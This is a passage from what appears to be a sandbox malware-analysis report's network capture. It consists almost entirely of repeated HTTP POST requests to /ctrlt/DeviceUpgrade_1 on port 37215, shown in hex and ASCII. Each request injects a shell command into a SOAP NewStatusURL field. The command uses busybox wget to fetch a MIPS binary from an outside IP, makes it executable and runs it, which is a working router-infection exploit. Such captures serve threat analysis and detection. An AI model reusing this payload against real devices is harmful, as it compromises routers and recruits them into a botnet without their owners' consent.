6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:23.139348984 CET	2743	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:32.606091022 CET	2987	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	156.241.73.173	37215	192.168.2.23	43052

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:13.677494049 CET	2484	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:15.680387020 CET	2543	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272097111 CET	2604	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:23.139348984 CET	2743	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:32.606091022 CET	2987	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	41.233.233.17	37215	192.168.2.23	53550

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:14.576634884 CET	2511	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:15.343175888 CET	2541	IN	HTTP/1.1 200 OK Connection: Keep-Alive Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD Date: Tue, 04 Jan 2000 01:59:23 GMT EXT: Content-Length: 259

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	53550	41.233.233.17	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:14.576634884 CET	2511	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 